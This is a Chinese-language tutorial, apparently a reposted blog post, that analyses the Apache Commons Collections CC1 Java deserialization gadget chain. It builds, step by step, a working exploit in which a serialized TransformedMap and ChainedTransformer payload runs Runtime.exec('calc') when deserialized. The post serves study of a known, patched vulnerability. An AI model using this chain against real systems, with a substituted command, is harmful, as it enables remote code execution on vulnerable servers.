Java反序列化:CC1链 详解

news2024/11/18 21:49:29

CC1

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。。

commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链,前置知识是java安全基础中的反射


环境搭建:

  • CommonsCollections <= 3.2.1
  • java < 8u71 Java 存档下载 — Java SE 8 | Oracle 中国

导入Maven依赖

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
 </dependency>

image-20231004113049111

当然也可以 用传统的 lib包下导入add as a library

因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击左下角的zip即可下载,然后解压。

image-20231004115415115

再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹 拷贝到 /jdk8/src文件夹(自己解压同目录下src压缩包)中去。

image-20231004132845280

打开IDEA,选择文件 --->项目结构 --->SDK --->源路径把src文件夹添加到源路径下,保存即可。

image-20231004133132680


CC1链 利用过程分析:

利用链:

先把整段链子给出来,我们再倒推逐个分析。

AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()

和URLDNS链一样,起点肯定是某个类的readObject()方法,要可序列化必须重写readObject()方法,接受任意对象作为参数。


0x01

CC1链的末尾(入口/源头)就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。

image-20231004155422648

查看Tranformer接口中transform方法的实现:

方法一:

image-20231004155508732

image-20231004155753115

方法二: (Ctrl+Alt+F7)

image-20231004155825176

聚焦到包org.apache.commons.collections.functors中的InvokerTransformer类实现了Tranformer接口中transform方法。此方法接收了一个对象,然后反射调用,参数可控就导致了反射调用任意类 任意方法

image-20231004160416783

我们尝试用InvokerTransformer类中的transform方法弹个计算器(执行命令calc)。

首先看看InvokerTransformer类的有参构造函数怎么用:

image-20231004161356102

实现代码如下:

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;

public class CC1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");

        Runtime cmd = Runtime.getRuntime();
        //使用反射 调用可命令执行的方法
        //Class clazz = Runtime.class;
        //Method cmdMethod = clazz.getMethod("exec", String.class);
        //cmdMethod.invoke(cmd, "calc");

        //InvokerTransformer类 调用可命令执行的方法
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);

    }
}

image-20231004162344960

那么链子的最后一步就实现了。

image-20231004210506764


0x02

知道了InvokerTransformer类可以调用transform()方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform()方法。

顺带补充一句,自己找的时候,不要找不同类transform()方法调用InvokerTransformer类的transform()方法,这种情况就是transform()方法再去调用transform()方法,没有意义。

我们是想要回到某个类的readObject()方法,如上情况永远回不去。

image-20231004165710616

**开始进一步找链子。**还是老方法,查找用法。要是找不到的话(卡了我挺久)点击右边maven,选择下载源代码。这样找到的就全了。

image-20231004195055865

image-20231004195331926

重点看到这三个Map集合,在这里就产生了2种CC链,一种是国外原版的,也就是ysoserial里的,另一种是流传到国内的另一个版本。Lazymap是国外的,Transformmap是国内的(我们主要讲这个)。两种方法在本质和原理上一样的。顺便提一嘴,自己挖链子的时候,三个map一般也是选择从Transformedmap类下手,因为结果(用法)多,好下手。

image-20231004195406219

那么我们来分析一下TransformedMap类:

TransformedMap类中调用了checkSetValue()方法,其中就调用了transform

image-20231004202548482

调用方式是valueTransformer.transform(value);,那我们要做到可控的话就要找TransformedMap类的构造函数了。

构造函数是有参构造函数,类型是protected,所以不能在外部直接调用,那么我们就要找TransformedMap类哪个方法调用了构造函数。

image-20231004203236432

非常好找,TransformedMap类的decorate方法调用了TransformedMap类的构造函数。

image-20231004203440091

还是老方法查找用法。AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法 调用了 TransformedMap类中的checkSetValue()方法

image-20231004204712955

而且我们可以看到AbstractInputCheckedMapDecorator类其实上是Transformedmap的父类。

image-20231004204832300

加上TransformedMap类 和 AbstractInputCheckedMapDecorator类中的MapEntry类 后,我们尝试用代码实现调用计算器。

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");
        Runtime cmd = Runtime.getRuntime();

        //原先是
        //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
        InvokerTransformer invoker= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        Map<Object,Object> map=new HashMap<>();
        map.put("明天返校了","又是一年秋风萧瑟");

        //TransformedMap.decorate方法调用TransformedMap的构造方法。
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invoker);
        //构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。


        //AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(cmd);
        }
        //TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
        //相当于invoker.transform(value),value就是上面entry.setValue(cmd)方法的参数cmd。
    }
}

image-20231004211044825

我们的链子进一步完善。

image-20231004211655729


0x03

继续倒推,是什么方法调用了AbstractInputCheckedMapDecorator.MapEntry类的setValue()方法呢?

AnnotationInvocationHandler类的readObject()方法调用了setValue()方法。直接一步到位了。

调用格式是memberValue.setValue(...)

image-20231004212754934

AnnotationInvocationHandler类没有被public声明(default类型),仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类。

image-20231004213016535

再看看这个类的构造方法。参数是一个Class对象,一个Map对象,其中Class继承了Annotation,也就是需要传入一个注解类进去(Target或者Override)。

注解举个例子就是我们经常会见到的@Override。这里我们选择Target,后面会解释。

image-20231004213034252

反射获取这个类 示例代码:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);

annotationConstructor.setAccessible(true);

Object o = annotationConstructor.newInstance(Target.class, transformedMap);

目前我们的CC1利用EXP已经有了个骨架,但是还是存在些许问题。

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");
        Runtime cmd = Runtime.getRuntime();

        InvokerTransformer invoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Map<Object, Object> map = new HashMap<>();
        map.put("明天返校了", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invoker);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        serialize(obj);  //序列化
        unserialize("ser1.bin"); //反序列化
    }


    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

目前的链子:

image-20231005115957866

问题们如下:

1、AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

image-20231004234839899

2、AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法,得绕过两个if判断。

image-20231004235313642

3、EXP中Runtime对象cmd因为Runtime类没有继承Serializable接口,不可以被序列化。

image-20231004234947118

我们先解决问题3:Runtime对象不可以被序列化。

虽然Runtime对象不可以被序列化,但是class可以被序列化。

image-20231004235657507

所以我们从反射下手,用反射实现Runtime

//使用反射 调用可命令执行的方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");

image-20231005000455947

利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec方法 的代码段如下:

//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);

//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

这三行实现看起来都差不多,其实是transform方法的循环调用。

解释一下第一行Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

第一个括号内的三个参数是 Invokertransformer类的构造函数的参数。传入的第一个参数String代表你需要调用的方法,第二个参数new Class[]数组代表你方法需要的参数类型,第三个参数new Object[]数组代表方法参数的具体值

第二个括号内的一个参数是 Invokertransformer类的transform方法的参数。这个参数是一个类,构造函数传入的参数作为这个类调用的方法。

image-20231005113813969

但是回顾我们的EXP,我们在实现链子TransformedMap.checkSetValue()->InvokerTransformer.transform()时候我们往TransformedMap实例传入了一个InvokerTransformer实例。

但是现在这个InvokerTransformer实例没有了,被拆成了多个,就是上述三行代码,得想个办法统合起来。image-20231005114108754

聚焦到org.apache.commons.collections.functors包下面的ChainedTransformer类。

这个类存在transform方法可以帮我们遍历InvokerTransformer,并且循环调用遍历的InvokerTransformer的transform方法

image-20231005114820687

实现代码段:

//Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

Transformer[] transformerArray=new Transformer[]{
	new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
	new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
	new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
chainedTransformer.transform(Runtime.class);

image-20231005121813523

把上面这段实现代码段写到EXP里面后,还是执行不了命令,因为还有两个问题待解决。


我们再解决问题2:绕过两个if判断。

目前我们的的EXP如下:

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerArray=new Transformer[]{
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
        
        Map<Object, Object> map = new HashMap<>();
        map.put("明天返校了", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        serialize(obj);  //序列化
        unserialize("ser1.bin"); //反序列化
    }

    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

我们调试一下,会发现到第一个if判断时,条件是memberType != null。目前我们的memberType是空(null)。第一个if就过不去。

image-20231005125916992

仔细审计源码后发现,memberType是获取注解中成员变量的名称,然后并且检查HashMap键值对中键名是否是对应的名称。注解类(Target或者Override)

image-20231005131144915

这里解释为什么前文注解类我们使用Target而不是Override。因为Override没有成员变量,而Target有成员变量名称是value

image-20231006121744681

image-20231006121655056

因此我们的EXP进行如下修改:

image-20231006121918653

调试,成功进入第一个if。

image-20231006121954432

第二个if判断能不能强转,我们传的肯定强转不了,就一定能过。


最后我们来解决我们的问题1 :AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

image-20231006122148768

我们的目标是使得setValue()方法的参数是Runtime.class

聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。

image-20231006124441941


最终EXP如下:

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerArray=new Transformer[]{
                new ConstantTransformer(Runtime.class),        //解决问题一:AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

        Map<Object, Object> map = new HashMap<>();
        map.put("value", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        
        serialize(obj);
        unserialize("ser1.bin"); 
    }


    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

image-20231006124539127

最终链子:(其实和上一次一样,就是解决了一些问题)

image-20231006130141968

在jdk1.8.0.71中修复了AnnotationInvocationHandler类的readObject方法,因此CC1无效了其他的链出现了。


前文提到CC1链分国外(Lazymap)国内(Transformmap),我们刚刚跟的是国内的,yso的CC1是国外的。国外CC1链如下。

image-20231004113901487

CC1到此就结束啦,作为人生中第一条反序列化链,学的确实艰辛,也留下了一些还不太理解的地方。但是学习毕竟不是一蹴而就的,前路漫漫我们慢慢学。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1065012.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

腾讯云轻量和CVM有啥区别?怎么选择服务器配置?

腾讯云轻量服务器和云服务器有什么区别&#xff1f;为什么轻量应用服务器价格便宜&#xff1f;是因为轻量服务器CPU内存性能比云服务器CVM性能差吗&#xff1f;轻量应用服务器适合中小企业或个人开发者搭建企业官网、博客论坛、微信小程序或开发测试环境&#xff0c;云服务器CV…

MIPI接口协议及规范理解

什么是MIPI接口 MIPI&#xff0c;英文全称为Mobile Industry Processor Interface&#xff0c;即移动行业处理器接口。它是MIPI联盟发起的为移动应用处理器制定的开放标准。MIPI接口是一种专为移动设备和嵌入式系统设计的串行通信接口&#xff0c;定义了一系列的接口标准&…

【pwn入门】用gdb调试32位程序

声明 本文是B站你想有多PWN学习的笔记&#xff0c;包含一些视频外的扩展知识。 问题源码 #include <stdio.h> #include <stdlib.h> #include <unistd.h> char sh[]"/bin/sh"; int func(char *cmd){system(cmd);return 0; }int main(){char a[8]…

学习搜狗的workflow,MacBook上如何编译

官网说可以在MacBook上也可以运行&#xff0c;但是编译的时候却有找不到openssl的错误&#xff1a; 看其他博客也有类似的错误&#xff0c;按照类似的思路去解决 问题原因和解决办法 cmake编译的时候&#xff0c;没有找到openssl的头文件&#xff0c;需要设置cmake编译环境下…

基于Java的连锁超市会员管理系统设计与实现(源码+lw+ppt+部署文档+视频讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

孢子捕捉仪——植物疾病探测的得力工具

孢子捕捉仪是一款专为收集随空气流动、传染的病害病原菌孢子及花粉尘粒而制的精密仪器&#xff0c;它主要用于监测病害孢子的存量及其扩散动态&#xff0c;犹如植物健康状况的“超级侦察兵”&#xff0c;是农业植保部门应当配备的农作物病害监测专用设备&#xff0c;是植物疾病…

学之思第二天-调通登录功能

目录 一、前端问题 二、后端问题 三、总结 之前一直是一个前端网页即使输对了正确的账号密码&#xff0c;也进不去。 一、前端问题 前端控制台就是一大堆爆红&#xff1a; 报错信息大概下面这样&#xff1a; Uncaught (in promise) NavigationDuplicated {_name: "…

Uniapp 婚庆服务全套模板前端

包含 首页、社区、关于、我的、预约、订购、选购、话题、主题、收货地址、购物车、系统通知、会员卡、优惠券、积分、储值金、订单信息、积分、充值、礼品、首饰等 请观看 图片参观 开源&#xff0c;下载即可 链接&#xff1a;婚庆服务全套模板前端 - DCloud 插件市场 问题反…

QT:SQLITE数据库编程

pro文件&#xff1a;QT core gui sql widget.ui main.cpp #include "widget.h" #include <QApplication>int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w("./student.db"); //传入文件名w.show();return a.exec…

binary_cross_entropy和binary_cross_entropy_with_logits的区别

binary_cross_entropy和binary_cross_entropy_with_logits的区别 引言 二分类问题是常见的机器学习任务之一&#xff0c;其目标是将样本分为两个类别。为了训练一个二分类模型&#xff0c;通常使用交叉熵作为损失函数。 二分类交叉熵损失函数有两种不同的形式&#xff0c;分…

深度学习之人脸检测算法

检测方法&#xff1a; Haar cascade opencv HOG Dlib CNN Dlib SSD MTCNN Haar特征 1.Haar特征原理综述 Haar特征是一种反映图像的灰度变化的&#xff0c;像素分模块求差值的一种特征。它分为三类&#xff1a;边缘特征、线性特征、中心特征和对角线特征。用黑白两种…

EQ 均衡器

EQ 的全称是 Equalizer&#xff0c;EQ 是 Equalizer 的前两个字母&#xff0c;中文名字叫做“均衡器”。最早是用来提升电话信号在长距离的传输中损失的高频&#xff0c;由此得到一个各频带相对平衡的结果&#xff0c;它让各个频带的声音得到了均衡。 EQ 的主要功能是&#xf…

端口隔离 MAC地址安全配置

二、知识点 目前网络中以太网技术的应用非常广泛。然而&#xff0c;各种网络攻击的存在&#xff08;例如针对ARP、DHCP等协议的攻击&#xff09;&#xff0c;不仅造成了网络合法用户无法正常访问网络资源&#xff0c;而且对网络信息安全构成严重威胁&#xff0c;因此以太网交…

学习笔记|串口通信的基础知识|同步/异步|常见的串口软件的参数|STC32G单片机视频开发教程(冲哥)|第二十集:串口通信基础

目录 1.串口通信的基础知识串口通信(Serial Communication)同步/异步&#xff1f;全双工&#xff1f;常见的串口软件的参数 2.STC32的串口通信实现原理引脚选择模式选择 3.串口通信代码实现编写串口1通信程序测试 总结 1.串口通信的基础知识 百度百科&#xff1a;串口通信的概…

STM32F103C8t SPI1重映射到PB3 PB4 PB5无输出

STM32F103C8t6用到了ADC 和SPI 导致PAx口无法使用SPI1 因此像复用到的引脚&#xff0c; 检查后发现硬件SPI可以复用到PB3 PB4 PB5&#xff0c; MSIO&#xff1a;PB5 MOSI&#xff1a;PB4 SCK&#xff1a;PB3 但是尝试后发现没有反映 SCK引脚没有波形输出 GPIO_PinRemapConfig(…

使用pywin32读取doc文档的方法及run输出乱码 \r\x07

想写一个读取doc文档中表格数据&#xff0c;来对文档进行重命名。经查资料&#xff0c;py-docx无法读取doc文档&#xff0c;原因是这种是旧格式。所以&#xff0c;采用pywin32来进行读取。 import win32com.client as win32word win32.gencache.EnsureDispatch(Word.Applicati…

Fiddler的下载安装及使用(包括在测试中的使用)

一、Fiddler的下载安装 1.Fiddler的介绍 1.1 Fiddler的定义和功能 Fiddler是一款免费网络代理调试工具。 Fiddler是一个很好用的抓包工具&#xff0c; 可以将网络传输发送与接受的数据包进行截获、重发、编辑、转存等操作。 也可以用来检测网络安全。 1.2 Fiddler的工作原理…

JUC第十六讲:JUC集合: CopyOnWriteArrayList详解

JUC第十六讲&#xff1a;JUC集合: CopyOnWriteArrayList详解 本文是JUC第十六讲&#xff0c;JUC集合: CopyOnWriteArrayList详解。CopyOnWriteArrayList是ArrayList 的一个线程安全的变体&#xff0c;其中所有可变操作(add、set 等等)都是通过对底层数组进行一次新的拷贝来实现…

linux系统中三个重要的结构体

第一​&#xff1a;struct inode结构体 struct inode { struct hlist_node i_hash; struct list_head i_list; /* backing dev IO list */ struct list_head i_sb_list;​ //主次设备号 dev_t i_rdev;​ struct list_head i_devices; //用联合体是因为该…

山西省行政村边界数据/乡镇街道边界数据/行政区划边界分布

山西&#xff08;简称&#xff1a;晋&#xff0c;别称&#xff1a;三晋&#xff0c;古称河东&#xff09;&#xff0c;中华人民共和国省级行政区&#xff0c;省会太原市&#xff0c;位于黄河中游东岸&#xff0c;华北平原西面的黄土高原上。东以太行山为界&#xff0c;与河北为…